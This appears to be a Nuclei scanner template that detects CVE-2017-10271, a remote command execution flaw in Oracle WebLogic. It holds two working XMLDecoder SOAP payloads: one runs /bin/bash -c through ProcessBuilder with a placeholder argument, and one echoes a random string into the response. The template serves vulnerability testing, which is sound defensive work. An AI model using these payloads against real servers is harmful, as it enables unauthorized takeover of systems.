id: CVE-2017-10271

info:
  name: Oracle WebLogic Server - Remote Command Execution
  author: dr_set,ImNightmaree
  severity: high
  description: |
    Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
  reference:
    - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
    - https://github.com/SuperHacker-liuan/cve-2017-10271-poc
    - http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
    - http://www.securitytracker.com/id/1039608
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2017-10271
  tags: cve,cve2017,rce,oracle,weblogic,oast

requests:
  - raw:
      - |
        POST /wls-wsat/CoordinatorPortType HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: text/xml

        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header>
                <work:WorkContext
                    xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                    <string>example.com</string>
                                </void>
                            </array>
                            <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
        </soapenv:Envelope>

      - |
        POST /wls-wsat/CoordinatorPortType HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: text/xml

        <?xml version="1.0" encoding="utf-8"?>
          <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
              <soapenv:Header>
                  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                      <java>
                          <void class="java.lang.Thread" method="currentThread">
                              <void method="getCurrentWork">
                                  <void method="getResponse">
                                      <void method="getServletOutputStream">
                                          <void method="flush"/>
                                      </void>
                                      <void method="getWriter"><void method="write"><string>{{randstr}}</string></void></void>
                                  </void>
                              </void>
                          </void>
                      </java>
                  </work:WorkContext>
              </soapenv:Header>
              <soapenv:Body/>
        </soapenv:Envelope>

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "<faultstring>.*</faultstring>"
          - "{{randstr}}"
        condition: or

      - type: status
        status:
          - 500
          - 200
        condition: or